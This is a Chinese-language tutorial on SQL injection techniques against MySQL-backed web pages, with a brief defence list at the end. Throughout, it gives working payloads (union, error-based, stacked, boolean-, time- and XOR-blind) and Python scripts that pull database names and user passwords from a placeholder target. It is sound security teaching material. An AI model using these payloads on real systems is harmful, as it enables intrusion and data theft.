部分sql注入总结
字数 1152 2025-08-13 21:33:29
SQL注入漏洞全面解析与实战指南
一、SQL注入基础概念
SQL注入是一种将恶意SQL代码插入到应用的输入参数中,欺骗服务器执行恶意SQL命令的攻击技术。攻击者可以利用此漏洞绕过安全机制,获取数据库敏感信息,甚至控制整个数据库服务器。
二、可回显注入(联合注入)
1. 适用条件
- 页面有数据库查询结果回显
- MySQL版本5.0以上(包含information_schema系统数据库)
2. 攻击步骤
(1) 判断注入点
- 数字型注入:
and 1=1和and 1=2返回不同页面 - 字符型注入:添加单引号
'导致报错,添加注释符--后恢复正常
常见闭合方式:
?id=1'--+
?id=1"--+
?id=1')--+
?id=1")--+
(2) 判断列数
使用order by函数:
order by 1--+
order by 2--+
...
直到报错,确定列数
(3) 判断显示位
利用UNION SELECT,将查询置为-1使第一行为空:
?id=-1' union select 1,2,3--+
观察哪些位置有回显
(4) 信息获取
- 获取所有数据库名:
?id=-1' union select 1,(select group_concat(database())),3--+
- 获取当前数据库所有表名:
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),3--+
- 获取字段名:
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() limit 0,1),3--+
- 获取数据:
?id=-1' union select 1,(select group_concat(username) from users limit 0,1),3--+
三、报错注入
1. 适用条件
- 无正常回显但有错误信息显示
- 联合注入被过滤时使用
2. 常用函数
(1) updatexml()
updatexml(1,concat('~',(select database()),'~'),1)
- 原理:利用xpath路径错误报错并返回错误信息
- 限制:返回内容最大长度32,需配合left/right函数分段获取
(2) extractvalue()
extractvalue(1,concat('~',(select database()),'~'))
(3) floor()
select count(*) from information_schema.tables group by concat(database(),floor(rand(0)*2))
(4) exp()
exp(~(select*from(select database())a))
3. 实战案例
username=admin'or(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),'~'),1))#
四、堆叠注入
1. 特点
- 支持多条SQL语句同时执行,用分号
;分隔 - 可执行任何SQL语句,权限足够时可进行增删改查
2. 实战案例
1';show tables;#
1';show columns from `1919810931114514`;#
1';alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50);#
五、盲注技术
1. 布尔盲注
- 适用条件:页面只返回True/False,无具体数据回显
- 关键函数:
length():返回字符串长度substr():截取字符串ascii():返回字符ASCII码if(expr1,expr2,expr3):条件判断
攻击示例:
?stunum=if(length(database())>3,1,0)
?stunum=if(ascii(substr((select database()),1,1))>25,1,0)
自动化脚本:
import requests
table = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_"
data = ''
for a in range(1,50):
for b in table:
url = "http://target.com/?stunum=if(substr((select/**/database()),%d,1)='%s',1,0)"%(a,b)
r = requests.get(url)
if "Hi admin" in r.text:
data += b
print(data)
break
2. 时间盲注
- 适用条件:页面无任何回显差异,只能通过响应时间判断
- 关键函数:
sleep()
攻击示例:
?id=1' and if(length(database())>0,sleep(3),1) --+
?id=1' and if(ascii(substr(database(),1,1))>25,sleep(3),1) --+
自动化脚本:
import requests
import time
database = ''
str_set = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
for i in range(1,9):
for char in str_set:
char_ascii = ord(char)
url = "http://target.com/?id=1' and if(ascii(substr(database(),{0},1))={1},sleep(3),1)--+"
formatted_url = url.format(i, char_ascii)
start_time = time.time()
rsp = requests.get(formatted_url)
if time.time() - start_time > 2.5:
database += char
print('database: ', database)
break
3. 异或盲注
- 适用条件:union、and、or被过滤时使用
- 原理:利用异或运算特性(1^1=0, 0^0=0, 1^0=1)
攻击示例:
?id=1^(ascii(substr(database(),1,1))>50)
?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))>50)
自动化脚本:
import requests
flag = ''
for i in range(1,300):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
payload = "http://target.com/search.php?id=1^(ascii(substr((select(group_concat(password))from(users)),%d,1))>%d)"%(i,mid)
r = requests.get(url=payload)
if 'ERROR' in r.text:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid<33 or mid>127):
break
flag += chr(mid)
print(flag)
六、防御措施
- 使用参数化查询(预编译语句)
- 实施最小权限原则
- 对输入进行严格过滤和转义
- 禁用错误信息回显
- 使用Web应用防火墙(WAF)
- 定期更新和修补数据库系统
七、总结
SQL注入技术多种多样,从简单的联合注入到复杂的盲注技术,攻击者会根据目标环境选择最合适的攻击方式。作为防御方,需要全面了解这些技术原理,才能构建有效的防御体系。同时,作为安全研究人员,掌握这些技术对于漏洞挖掘和渗透测试至关重要。